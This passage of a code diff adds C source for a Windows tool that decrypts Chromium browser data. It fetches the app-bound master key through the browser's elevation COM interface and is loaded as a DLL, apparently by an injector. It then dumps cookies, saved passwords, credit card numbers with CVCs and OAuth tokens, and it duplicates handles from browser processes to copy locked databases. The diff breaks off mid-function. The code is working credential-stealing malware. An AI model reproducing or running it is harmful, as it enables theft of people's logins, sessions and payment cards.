|
||||
|
||||
BCryptDestroyKey(hkey);
|
||||
BCryptCloseAlgorithmProvider(alg, 0);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
buffer_destroy(plain);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
plain->size = out_len;
|
||||
return plain;
|
||||
}
|
||||
|
||||
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path) {
|
||||
if (!local_state_path) return NULL;
|
||||
|
||||
char* content = NULL;
|
||||
size_t size = 0;
|
||||
|
||||
if (!read_file_content(local_state_path, &content, &size)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const char* tag = "\"app_bound_encrypted_key\":\"";
|
||||
char* pos = strstr(content, tag);
|
||||
if (!pos) {
|
||||
free(content);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pos += strlen(tag);
|
||||
char* end_pos = strchr(pos, '"');
|
||||
if (!end_pos) {
|
||||
free(content);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t b64_len = end_pos - pos;
|
||||
char* b64_key = malloc(b64_len + 1);
|
||||
if (!b64_key) {
|
||||
free(content);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(b64_key, pos, b64_len);
|
||||
b64_key[b64_len] = '\0';
|
||||
|
||||
ByteBuffer* decoded = base64_decode(b64_key);
|
||||
free(b64_key);
|
||||
free(content);
|
||||
|
||||
if (!decoded) return NULL;
|
||||
|
||||
if (decoded->size < sizeof(KEY_PREFIX) || memcmp(decoded->data, KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) {
|
||||
buffer_destroy(decoded);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t key_len = decoded->size - sizeof(KEY_PREFIX);
|
||||
memmove(decoded->data, decoded->data + sizeof(KEY_PREFIX), key_len);
|
||||
decoded->size = key_len;
|
||||
|
||||
return decoded;
|
||||
}
|
||||
|
||||
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len) {
|
||||
if (!config || !encrypted_key) return NULL;
|
||||
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||
if (FAILED(hr)) return NULL;
|
||||
|
||||
IOriginalBaseElevator* pEvelator = NULL;
|
||||
hr = CoCreateInstance(&config->clsid, NULL, CLSCTX_LOCAL_SERVER, &config->iid, (void**)&pEvelator);
|
||||
if (FAILED(hr)) {
|
||||
CoUninitialize();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
hr = CoSetProxyBlanket((IUnknown*)pEvelator, RPC_C_AUTHN_DEFAULT,
|
||||
RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IMPERSONATE, NULL,
|
||||
EOAC_DYNAMIC_CLOAKING);
|
||||
|
||||
BSTR bstr_enc = SysAllocStringByteLen((const char*)encrypted_key, (UINT)encrypted_key_len);
|
||||
if (!bstr_enc) {
|
||||
pEvelator->lpVtbl->Release(pEvelator);
|
||||
CoUninitialize();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BSTR bstr_plain = NULL;
|
||||
DWORD com_err = 0;
|
||||
hr = pEvelator->lpVtbl->DecryptData(pEvelator, bstr_enc, &bstr_plain, &com_err);
|
||||
|
||||
SysFreeString(bstr_enc);
|
||||
pEvelator->lpVtbl->Release(pEvelator);
|
||||
|
||||
if (FAILED(hr) || !bstr_plain) {
|
||||
CoUninitialize();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
UINT key_size = SysStringByteLen(bstr_plain);
|
||||
if (key_size != KEY_SIZE) {
|
||||
SysFreeString(bstr_plain);
|
||||
CoUninitialize();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
ByteBuffer* result = buffer_create(KEY_SIZE);
|
||||
if (result) {
|
||||
memcpy(result->data, bstr_plain, KEY_SIZE);
|
||||
result->size = KEY_SIZE;
|
||||
}
|
||||
|
||||
SysFreeString(bstr_plain);
|
||||
CoUninitialize();
|
||||
|
||||
return result;
|
||||
}
|
||||
Executable
+45
@@ -0,0 +1,45 @@
|
||||
#include "orchestrator.h"
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
HMODULE hModule_dll;
|
||||
LPVOID lpPipeNamePointerFromInjector;
|
||||
} ThreadParams;
|
||||
|
||||
DWORD WINAPI decryprion_thread_worker(LPVOID lpParam)
|
||||
{
|
||||
ThreadParams* thread_params = (ThreadParams*)lpParam;
|
||||
|
||||
OrchestratorConfig config;
|
||||
if (orchestrator_init(&config, (LPCWSTR)thread_params->lpPipeNamePointerFromInjector)) {
|
||||
orchestrator_run(&config);
|
||||
}
|
||||
orchestrator_cleanup(&config);
|
||||
|
||||
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
||||
free(thread_params);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||
{
|
||||
if (reason == DLL_PROCESS_ATTACH) {
|
||||
DisableThreadLibraryCalls(hModule);
|
||||
|
||||
ThreadParams* thread_params = (ThreadParams*)malloc(sizeof(ThreadParams));
|
||||
thread_params->hModule_dll = hModule;
|
||||
thread_params->lpPipeNamePointerFromInjector = lpReserved;
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, decryprion_thread_worker, thread_params, 0, NULL);
|
||||
if (hThread) {
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
else {
|
||||
free(thread_params);
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
Executable
+463
@@ -0,0 +1,463 @@
|
||||
#include "extractor.h"
|
||||
#include "handle_duplicator.h"
|
||||
#include "crypto.h"
|
||||
#include "utils.h"
|
||||
#include "buffer.h"
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef struct {
|
||||
wchar_t** files;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} TempFileList;
|
||||
|
||||
static TempFileList* temp_files = NULL;
|
||||
|
||||
static void init_temp_files() {
|
||||
if (!temp_files) {
|
||||
temp_files = malloc(sizeof(TempFileList));
|
||||
if (temp_files) {
|
||||
temp_files->files = malloc(sizeof(wchar_t*) * 10);
|
||||
temp_files->count = 0;
|
||||
temp_files->capacity = 10;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void add_temp_file(const wchar_t* path) {
|
||||
if (!temp_files) return;
|
||||
|
||||
if (temp_files->count >= temp_files->capacity) {
|
||||
size_t new_cap = temp_files->capacity * 2;
|
||||
wchar_t** new_files = realloc(temp_files->files, sizeof(wchar_t*) * new_cap);
|
||||
if (!new_files) return;
|
||||
temp_files->files = new_files;
|
||||
temp_files->capacity = new_cap;
|
||||
}
|
||||
|
||||
temp_files->files[temp_files->count] = _wcsdup(path);
|
||||
temp_files->count++;
|
||||
}
|
||||
|
||||
void cleanup_temp_files() {
|
||||
if (!temp_files) return;
|
||||
|
||||
for (size_t i = 0; i < temp_files->count; i++) {
|
||||
DeleteFileW(temp_files->files[i]);
|
||||
free(temp_files->files[i]);
|
||||
}
|
||||
|
||||
free(temp_files->files);
|
||||
free(temp_files);
|
||||
temp_files = NULL;
|
||||
}
|
||||
|
||||
static bool open_database(const wchar_t* db_path, sqlite3** db) {
|
||||
char path_utf8[MAX_PATH_LEN * 3];
|
||||
int converted = WideCharToMultiByte(CP_UTF8, 0, db_path, -1, path_utf8,
|
||||
sizeof(path_utf8), NULL, NULL);
|
||||
|
||||
if (converted == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
char uri_path[MAX_PATH_LEN * 3 + 20];
|
||||
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
|
||||
|
||||
for (char* p = uri_path; *p; p++) {
|
||||
if (*p == '\\') *p = '/';
|
||||
}
|
||||
|
||||
int rc = sqlite3_open_v2(uri_path, db,
|
||||
SQLITE_OPEN_READONLY | SQLITE_OPEN_URI,
|
||||
NULL);
|
||||
|
||||
if (rc != SQLITE_OK) {
|
||||
if (*db) {
|
||||
sqlite3_close(*db);
|
||||
*db = NULL;
|
||||
}
|
||||
|
||||
wchar_t temp_dir[MAX_PATH_LEN];
|
||||
GetTempPathW(MAX_PATH_LEN, temp_dir);
|
||||
wcscat_s(temp_dir, MAX_PATH_LEN, L"ChromiumDecryptor\\");
|
||||
CreateDirectoryW(temp_dir, NULL);
|
||||
|
||||
wchar_t temp_file[MAX_PATH_LEN];
|
||||
swprintf_s(temp_file, MAX_PATH_LEN, L"%s%llu.db", temp_dir, GetTickCount64());
|
||||
|
||||
if (!copy_locked_file(db_path, temp_file)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
init_temp_files();
|
||||
add_temp_file(temp_file);
|
||||
|
||||
WideCharToMultiByte(CP_UTF8, 0, temp_file, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
|
||||
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
|
||||
|
||||
for (char* p = uri_path; *p; p++) {
|
||||
if (*p == '\\') *p = '/';
|
||||
}
|
||||
|
||||
rc = sqlite3_open_v2(uri_path, db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, NULL);
|
||||
if (rc != SQLITE_OK) {
|
||||
if (*db) {
|
||||
sqlite3_close(*db);
|
||||
*db = NULL;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool write_json_array(const wchar_t* file_path, StringArray* entries) {
|
||||
if (!file_path || !entries) return false;
|
||||
|
||||
FILE* f = NULL;
|
||||
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
|
||||
|
||||
fprintf(f, "[\n");
|
||||
for (size_t i = 0; i < entries->count; i++) {
|
||||
fprintf(f, "%s", entries->items[i]);
|
||||
if (i < entries->count - 1) {
|
||||
fprintf(f, ",\n");
|
||||
}
|
||||
}
|
||||
fprintf(f, "\n]\n");
|
||||
|
||||
fclose(f);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries) {
|
||||
if (!file_path || !entries) return false;
|
||||
|
||||
FILE* f = NULL;
|
||||
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
|
||||
|
||||
for (size_t i = 0; i < entries->count; i++) {
|
||||
fprintf(f, "%s\n", entries->items[i]);
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return true;
|
||||
}
|
||||
|
||||
StringArray* extract_cookies(const ExtractionContext* ctx) {
|
||||
if (!ctx) return NULL;
|
||||
|
||||
wchar_t db_path[MAX_PATH_LEN];
|
||||
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Network\\Cookies", ctx->profile_path);
|
||||
|
||||
if (GetFileAttributesW(db_path) == INVALID_FILE_ATTRIBUTES) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
sqlite3* db = NULL;
|
||||
if (!open_database(db_path, &db)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
StringArray* results = string_array_create(100);
|
||||
if (!results) {
|
||||
sqlite3_close(db);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const char* query =
|
||||
"SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies;";
|
||||
|
||||
sqlite3_stmt* stmt = NULL;
|
||||
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
|
||||
sqlite3_close(db);
|
||||
string_array_destroy(results);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const uint8_t* blob = sqlite3_column_blob(stmt, 5);
|
||||
int blob_len = sqlite3_column_bytes(stmt, 5);
|
||||
if (!blob) continue;
|
||||
|
||||
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
|
||||
if (!plain || plain->size <= COOKIE_PLAINTEXT_HEADER_SIZE) {
|
||||
buffer_destroy(plain);
|
||||
continue;
|
||||
}
|
||||
|
||||
const char* value = (const char*)(plain->data + COOKIE_PLAINTEXT_HEADER_SIZE);
|
||||
size_t value_len = plain->size - COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||
|
||||
char* value_str = malloc(value_len + 1);
|
||||
if (!value_str) {
|
||||
buffer_destroy(plain);
|
||||
continue;
|
||||
}
|
||||
|
||||
memcpy(value_str, value, value_len);
|
||||
value_str[value_len] = '\0';
|
||||
|
||||
const char* host = (const char*)sqlite3_column_text(stmt, 0);
|
||||
const char* name = (const char*)sqlite3_column_text(stmt, 1);
|
||||
const char* path = (const char*)sqlite3_column_text(stmt, 2);
|
||||
int is_secure = sqlite3_column_int(stmt, 3);
|
||||
long long expires = sqlite3_column_int64(stmt, 4);
|
||||
|
||||
long long unix_expiry = (expires / 1000000LL) - 11644473600LL;
|
||||
|
||||
char netscape[MAX_JSON_LEN];
|
||||
snprintf(netscape, sizeof(netscape),
|
||||
"%s\t%s\t%s\t%s\t%lld\t%s\t%s",
|
||||
host ? host : "",
|
||||
(host && host[0] == '.') ? "TRUE" : "FALSE",
|
||||
path ? path : "/",
|
||||
is_secure ? "TRUE" : "FALSE",
|
||||
unix_expiry,
|
||||
name ? name : "",
|
||||
value_str
|
||||
);
|
||||
|
||||
string_array_add(results, netscape);
|
||||
|
||||
free(value_str);
|
||||
buffer_destroy(plain);
|
||||
}
|
||||
|
||||
sqlite3_finalize(stmt);
|
||||
sqlite3_close(db);
|
||||
return results;
|
||||
}
|
||||
|
||||
StringArray* extract_passwords(const ExtractionContext* ctx) {
|
||||
if (!ctx) return NULL;
|
||||
|
||||
wchar_t db_path[MAX_PATH_LEN];
|
||||
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Login Data", ctx->profile_path);
|
||||
|
||||
sqlite3* db = NULL;
|
||||
if (!open_database(db_path, &db)) return NULL;
|
||||
|
||||
StringArray* results = string_array_create(50);
|
||||
const char* query = "SELECT origin_url, username_value, password_value FROM logins;";
|
||||
|
||||
sqlite3_stmt* stmt = NULL;
|
||||
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
|
||||
sqlite3_close(db);
|
||||
return results;
|
||||
}
|
||||
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const uint8_t* blob = sqlite3_column_blob(stmt, 2);
|
||||
int blob_len = sqlite3_column_bytes(stmt, 2);
|
||||
|
||||
if (!blob) continue;
|
||||
|
||||
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
|
||||
if (!plain) continue;
|
||||
|
||||
char* origin = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
|
||||
char* user = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
|
||||
|
||||
char* pass_raw = malloc(plain->size + 1);
|
||||
memcpy(pass_raw, plain->data, plain->size);
|
||||
pass_raw[plain->size] = '\0';
|
||||
char* pass_esc = escape_json_string(pass_raw);
|
||||
|
||||
char json[MAX_JSON_LEN];
|
||||
snprintf(json, sizeof(json),
|
||||
" {\"origin\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}",
|
||||
origin, user, pass_esc);
|
||||
|
||||
string_array_add(results, json);
|
||||
|
||||
free(origin);
|
||||
free(user);
|
||||
free(pass_raw);
|
||||
free(pass_esc);
|
||||
buffer_destroy(plain);
|
||||
}
|
||||
|
||||
sqlite3_finalize(stmt);
|
||||
sqlite3_close(db);
|
||||
return results;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
char* guid;
|
||||
uint8_t* blob;
|
||||
int blob_len;
|
||||
} CvcEntry;
|
||||
|
||||
StringArray* extract_payments(const ExtractionContext* ctx) {
|
||||
if (!ctx) return NULL;
|
||||
|
||||
wchar_t db_path[MAX_PATH_LEN];
|
||||
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
|
||||
|
||||
sqlite3* db = NULL;
|
||||
if (!open_database(db_path, &db)) return NULL;
|
||||
|
||||
CvcEntry* cvc_table = NULL;
|
||||
int cvc_count = 0;
|
||||
|
||||
sqlite3_stmt* cvc_stmt = NULL;
|
||||
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &cvc_stmt, NULL) == SQLITE_OK) {
|
||||
while (sqlite3_step(cvc_stmt) == SQLITE_ROW) {
|
||||
cvc_table = realloc(cvc_table, sizeof(CvcEntry) * (cvc_count + 1));
|
||||
const char* guid = (const char*)sqlite3_column_text(cvc_stmt, 0);
|
||||
const uint8_t* blob = sqlite3_column_blob(cvc_stmt, 1);
|
||||
int len = sqlite3_column_bytes(cvc_stmt, 1);
|
||||
|
||||
cvc_table[cvc_count].guid = _strdup(guid);
|
||||
cvc_table[cvc_count].blob = malloc(len);
|
||||
memcpy(cvc_table[cvc_count].blob, blob, len);
|
||||
cvc_table[cvc_count].blob_len = len;
|
||||
cvc_count++;
|
||||
}
|
||||
sqlite3_finalize(cvc_stmt);
|
||||
}
|
||||
|
||||
StringArray* results = string_array_create(10);
|
||||
const char* query = "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;";
|
||||
sqlite3_stmt* stmt = NULL;
|
||||
|
||||
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) == SQLITE_OK) {
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
|
||||
char card_num[256] = { 0 };
|
||||
char cvc_val[16] = { 0 };
|
||||
|
||||
const uint8_t* card_blob = sqlite3_column_blob(stmt, 4);
|
||||
int card_blob_len = sqlite3_column_bytes(stmt, 4);
|
||||
if (card_blob) {
|
||||
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, card_blob, card_blob_len);
|
||||
if (plain) {
|
||||
snprintf(card_num, sizeof(card_num), "%.*s", (int)plain->size, plain->data);
|
||||
buffer_destroy(plain);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < cvc_count; i++) {
|
||||
if (strcmp(guid, cvc_table[i].guid) == 0) {
|
||||
ByteBuffer* plain_cvc = decrypt_gcm(ctx->aes_key, ctx->key_len, cvc_table[i].blob, cvc_table[i].blob_len);
|
||||
if (plain_cvc) {
|
||||
snprintf(cvc_val, sizeof(cvc_val), "%.*s", (int)plain_cvc->size, plain_cvc->data);
|
||||
buffer_destroy(plain_cvc);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
char* name = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
|
||||
char* card_esc = escape_json_string(card_num);
|
||||
char* cvc_esc = escape_json_string(cvc_val);
|
||||
|
||||
char json[MAX_JSON_LEN];
|
||||
snprintf(json, sizeof(json),
|
||||
" {\"name_on_card\":\"%s\",\"expiration_month\":%d,\"expiration_year\":%d,\"card_number\":\"%s\",\"cvc\":\"%s\"}",
|
||||
name, sqlite3_column_int(stmt, 2), sqlite3_column_int(stmt, 3), card_esc, cvc_esc);
|
||||
|
||||
string_array_add(results, json);
|
||||
|
||||
free(name); free(card_esc); free(cvc_esc);
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
}
|
||||
|
||||
for (int i = 0; i < cvc_count; i++) {
|
||||
free(cvc_table[i].guid);
|
||||
free(cvc_table[i].blob);
|
||||
}
|
||||
|
||||
free(cvc_table);
|
||||
sqlite3_close(db);
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
StringArray* extract_tokens(const ExtractionContext* ctx) {
|
||||
if (!ctx) return NULL;
|
||||
|
||||
wchar_t db_path[MAX_PATH_LEN];
|
||||
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
|
||||
|
||||
sqlite3* db = NULL;
|
||||
if (!open_database(db_path, &db)) return NULL;
|
||||
|
||||
StringArray* results = string_array_create(20);
|
||||
if (!results) {
|
||||
sqlite3_close(db);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
bool has_binding_key = true;
|
||||
const char* query_with_key = "SELECT service, encrypted_token, binding_key FROM token_service;";
|
||||
const char* query_without_key = "SELECT service, encrypted_token FROM token_service;";
|
||||
|
||||
sqlite3_stmt* stmt = NULL;
|
||||
if (sqlite3_prepare_v2(db, query_with_key, -1, &stmt, NULL) != SQLITE_OK) {
|
||||
has_binding_key = false;
|
||||
if (sqlite3_prepare_v2(db, query_without_key, -1, &stmt, NULL) != SQLITE_OK) {
|
||||
sqlite3_close(db);
|
||||
string_array_destroy(results);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||
const uint8_t* token_blob = sqlite3_column_blob(stmt, 1);
|
||||
int token_len = sqlite3_column_bytes(stmt, 1);
|
||||
|
||||
if (!token_blob || token_len <= 0) continue;
|
||||
|
||||
ByteBuffer* plain_token = decrypt_gcm(ctx->aes_key, ctx->key_len,
|
||||
token_blob, token_len);
|
||||
if (!plain_token) continue;
|
||||
|
||||
char* token_str = malloc(plain_token->size + 1);
|
||||
if (!token_str) {
|
||||
buffer_destroy(plain_token);
|
||||
continue;
|
||||
}
|
||||
memcpy(token_str, plain_token->data, plain_token->size);
|
||||
token_str[plain_token->size] = '\0';
|
||||
buffer_destroy(plain_token);
|
||||
|
||||
char binding_key_str[512] = {};
|
||||
if (has_binding_key) {
|
||||
const uint8_t* key_blob = sqlite3_column_blob(stmt, 2);
|
||||
int key_len = sqlite3_column_bytes(stmt, 2);
|
||||
|
||||
if (key_blob && key_len > 0) {
|
||||
ByteBuffer* plain_key = decrypt_gcm(ctx->aes_key, ctx->key_len, key_blob, key_len);
|
||||
if (plain_key) {
|
||||
snprintf(binding_key_str, sizeof(binding_key_str), "%.*s", (int)plain_key->size, plain_key->data);
|
||||
buffer_destroy(plain_key);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
char* service = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
|
||||
char* token_esc = escape_json_string(token_str);
|
||||
char* binding_esc = escape_json_string(binding_key_str);
|
||||
|
||||
char json[MAX_JSON_LEN];
|
||||
snprintf(json, sizeof(json), " {\"service\":\"%s\",\"token\":\"%s\",\"binding_key\":\"%s\"}", service, token_esc, binding_esc);
|
||||
string_array_add(results, json);
|
||||
|
||||
free(service);
|
||||
free(token_esc);
|
||||
free(binding_esc);
|
||||
free(token_str);
|
||||
}
|
||||
|
||||
sqlite3_finalize(stmt);
|
||||
sqlite3_close(db);
|
||||
|
||||
return results;
|
||||
}
|
||||
+220
@@ -0,0 +1,220 @@
|
||||
#include "handle_duplicator.h"
|
||||
#include <winternl.h>
|
||||
#include <RestartManager.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "Rstrtmgr.lib")
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtQueryObject_t)(
|
||||
HANDLE Handle,
|
||||
ULONG ObjectInformationClass,
|
||||
PVOID ObjectInformation,
|
||||
ULONG ObjectInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
#define ObjectNameInformation 1
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
|
||||
typedef struct _OBJECT_NAME_INFORMATION {
|
||||
UNICODE_STRING Name;
|
||||
WCHAR NameBuffer[1];
|
||||
} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
|
||||
|
||||
static bool get_processes_using_file(const wchar_t* file_path, DWORD* pids, DWORD* pid_count, DWORD max_pids) {
|
||||
DWORD session;
|
||||
WCHAR session_key[CCH_RM_SESSION_KEY + 1] = { 0 };
|
||||
DWORD error;
|
||||
|
||||
error = RmStartSession(&session, 0, session_key);
|
||||
if (error != ERROR_SUCCESS) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LPCWSTR file_paths[1] = { file_path };
|
||||
error = RmRegisterResources(session, 1, file_paths, 0, NULL, 0, NULL);
|
||||
|
||||
if (error != ERROR_SUCCESS) {
|
||||
RmEndSession(session);
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD reason;
|
||||
UINT proc_info_needed;
|
||||
UINT proc_info_count = 10;
|
||||
RM_PROCESS_INFO* proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
|
||||
|
||||
if (!proc_info) {
|
||||
RmEndSession(session);
|
||||
return false;
|
||||
}
|
||||
|
||||
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
|
||||
|
||||
if (error == ERROR_MORE_DATA) {
|
||||
proc_info_count = proc_info_needed;
|
||||
free(proc_info);
|
||||
proc_info = (RM_PROCESS_INFO*)malloc(sizeof(RM_PROCESS_INFO) * proc_info_count);
|
||||
|
||||
if (!proc_info) {
|
||||
RmEndSession(session);
|
||||
return false;
|
||||
}
|
||||
|
||||
error = RmGetList(session, &proc_info_needed, &proc_info_count, proc_info, &reason);
|
||||
}
|
||||
|
||||
bool found = false;
|
||||
if (error == ERROR_SUCCESS && proc_info_count > 0) {
|
||||
DWORD count = proc_info_count < max_pids ? proc_info_count : max_pids;
|
||||
for (UINT i = 0; i < count; i++) {
|
||||
pids[i] = proc_info[i].Process.dwProcessId;
|
||||
}
|
||||
*pid_count = count;
|
||||
found = true;
|
||||
}
|
||||
|
||||
free(proc_info);
|
||||
RmEndSession(session);
|
||||
return found;
|
||||
}
|
||||
|
||||
static bool get_file_handle_from_process(DWORD pid, const wchar_t* file_path, HANDLE* out_handle) {
|
||||
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid);
|
||||
if (!process) {
|
||||
return false;
|
||||
}
|
||||
|
||||
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||
if (!ntdll) {
|
||||
CloseHandle(process);
|
||||
return false;
|
||||
}
|
||||
|
||||
NtQueryObject_t pNtQueryObject = (NtQueryObject_t)GetProcAddress(ntdll, "NtQueryObject");
|
||||
if (!pNtQueryObject) {
|
||||
CloseHandle(process);
|
||||
return false;
|
||||
}
|
||||
|
||||
wchar_t normalized_path[MAX_PATH];
|
||||
if (!GetFullPathNameW(file_path, MAX_PATH, normalized_path, NULL)) {
|
||||
CloseHandle(process);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (wchar_t* p = normalized_path; *p; p++) {
|
||||
*p = towlower(*p);
|
||||
}
|
||||
|
||||
bool found = false;
|
||||
HANDLE current_process = GetCurrentProcess();
|
||||
|
||||
for (DWORD handle_value = 4; handle_value < 0x10000; handle_value += 4) {
|
||||
HANDLE dup_handle = NULL;
|
||||
|
||||
if (!DuplicateHandle(process, (HANDLE)(ULONG_PTR)handle_value, current_process,
|
||||
&dup_handle, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
DWORD file_type = GetFileType(dup_handle);
|
||||
if (file_type != FILE_TYPE_DISK) {
|
||||
CloseHandle(dup_handle);
|
||||
continue;
|
||||
}
|
||||
|
||||
wchar_t handle_path[MAX_PATH] = { 0 };
|
||||
DWORD path_len = GetFinalPathNameByHandleW(dup_handle, handle_path, MAX_PATH, FILE_NAME_NORMALIZED);
|
||||
|
||||
if (path_len > 0 && path_len < MAX_PATH) {
|
||||
wchar_t* actual_path = handle_path;
|
||||
if (wcsncmp(handle_path, L"\\\\?\\", 4) == 0) {
|
||||
actual_path = handle_path + 4;
|
||||
}
|
||||
|
||||
wchar_t handle_normalized[MAX_PATH];
|
||||
if (GetFullPathNameW(actual_path, MAX_PATH, handle_normalized, NULL)) {
|
||||
for (wchar_t* p = handle_normalized; *p; p++) {
|
||||
*p = towlower(*p);
|
||||
}
|
||||
|
||||
if (wcscmp(handle_normalized, normalized_path) == 0) {
|
||||
*out_handle = dup_handle;
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(dup_handle);
|
||||
}
|
||||
|
||||
CloseHandle(process);
|
||||
return found;
|
||||
}
|
||||
|
||||
bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path) {
|
||||
DWORD pids[32];
|
||||
DWORD pid_count = 0;
|
||||
|
||||
if (!get_processes_using_file(source_path, pids, &pid_count, 32)) {
|
||||
if (CopyFileW(source_path, dest_path, FALSE)) {
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE file_handle = NULL;
|
||||
for (DWORD i = 0; i < pid_count; i++) {
|
||||
if (get_file_handle_from_process(pids[i], source_path, &file_handle)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_handle) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LARGE_INTEGER file_size;
|
||||
if (!GetFileSizeEx(file_handle, &file_size)) {
|
||||
CloseHandle(file_handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
BYTE* buffer = (BYTE*)malloc((size_t)file_size.QuadPart);
|
||||
if (!buffer) {
|
||||
CloseHandle(file_handle);
|
||||
return false;
|
||||
}
|
||||
|
||||
SetFilePointer(file_handle, 0, NULL, FILE_BEGIN);
|
||||
|
||||
DWORD bytes_read = 0;
|
||||
BOOL read_result = ReadFile(file_handle, buffer, (DWORD)file_size.QuadPart, &bytes_read, NULL);
|
||||
|
||||
CloseHandle(file_handle);
|
||||
|
||||
if (!read_result || bytes_read != file_size.QuadPart) {
|
||||
free(buffer);
|
||||
return false;
|
||||
}
|
||||
|
||||
HANDLE dest_file = CreateFileW(dest_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
